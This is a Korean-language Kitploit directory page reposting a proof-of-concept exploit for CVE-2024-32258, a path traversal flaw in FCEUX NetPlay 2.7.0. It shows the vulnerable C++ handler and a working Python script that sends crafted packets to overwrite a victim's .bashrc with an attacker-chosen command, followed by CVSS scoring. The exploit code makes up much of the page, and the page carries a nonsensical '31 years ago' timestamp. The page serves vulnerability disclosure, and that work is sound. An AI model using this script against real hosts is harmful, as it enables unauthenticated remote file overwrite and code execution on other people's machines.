Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-32258 — CVE-2024-32258에 대한 개념 증명 익스플로잇, FCEUX NetPlay 2.7.0의 경로 탐색 취약점으로, 조작된 ROM 요청을 통해 인증되지 않은 원격 임의 파일 덮어쓰기가 가능합니다. | Kitploit
도구/GitHubGitHub/secnotes/cve-2024-32258
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubsecnotes/cve-2024-32258

CVE-2024-32258

CVE-2024-32258에 대한 개념 증명 익스플로잇, FCEUX NetPlay 2.7.0의 경로 탐색 취약점으로, 조작된 ROM 요청을 통해 인증되지 않은 원격 임의 파일 덮어쓰기가 가능합니다.

저장소 보기
31년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

개요

  • CVE ID: CVE-2024-32258
  • 유형: 경로 탐색
  • 공급업체: FCEUX
  • 제품: FCEUX_NetPlay
  • 버전: 2.7.0
  • 수정: 48b48e7c13be1b949074f42660a33c7ef57135e1

설명

FCEUX는 우리를 어린 시절로 돌려보내는 NES 에뮬레이터입니다. 두 명의 플레이어가 온라인으로 게임을 할 수 있는 등 여러 흥미로운 기능을 제공합니다.

서버와 클라이언트는 서로 ROM을 전달할 수 있지만, 서버는 클라이언트가 보낸 ROM 이름에 포함된 특수 문자를 필터링하지 않습니다. 이 경로 탐색 취약점으로 인해 서버의 모든 파일을 덮어쓸 수 있습니다. 더 심각한 점은 ROM의 원격 로드에 인증이 필요하지 않으며, 서버 설정에 로그인 비밀번호가 필요한 경우에도 마찬가지입니다.

이는 커밋 798c5a1d9c73b899cdbe3d613c0022588281979f에서 도입되었습니다 - NetPlay를 위해 클라이언트가 ROM 로드를 요청할 수 있는 기능이 추가되었습니다.

root@kitploit:~
if (acceptRomLoadReq)
{
    FILE *fp;
    std::string filepath = QDir::tempPath().toLocal8Bit().constData(); 
    const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];

    filepath.append( "/" );
    filepath.append( msg->fileName );

    printf("Load ROM Request Received: %s\n", filepath.c_str());

    //printf("Dumping Temp Rom to: %s\n", filepath.c_str());
    fp = ::fopen( filepath.c_str(), "w");

    if (fp == nullptr)
    {
        return;
    }
    ::fwrite( romData, 1, msgSize, fp );
    ::fclose(fp);

    FCEU_WRAPPER_LOCK();
    LoadGame( filepath.c_str(), true, true );
    FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
    FCEU_WRAPPER_UNLOCK();

    resyncAllClients();
}

msf->fileName과 fp는 모두 공격자에 의해 지정됩니다.

PoC

소스 코드 컴파일을 통해 fceux를 얻거나, 저희가 컴파일한 바이너리를 직접 사용할 수 있습니다. fceux.zip

PoC

root@kitploit:~
import socket
import binascii

client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))

header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100

client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)

packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)

즐기세요! 😄

https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d

심각도

높음 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

작성자

Yansong Li 및 Yijie Xun (노스웨스턴 폴리테크니컬 대학교)

도구 다운로드
CVSS3.1점수세부 내용
공격 경로네트워크네트워크를 통해 공격 시작
공격 복잡도낮음두 개의 메시지만 전송
필요 권한없음공격 패킷 전송에 권한이 필요 없음
사용자 상호 작용필요ROM을 로드하기 위해 확인 버튼을 클릭
범위변경되지 않음해당 없음
기밀성높음임의 파일 덮어쓰기
무결성높음임의 파일 덮어쓰기
가용성높음임의 파일 덮어쓰기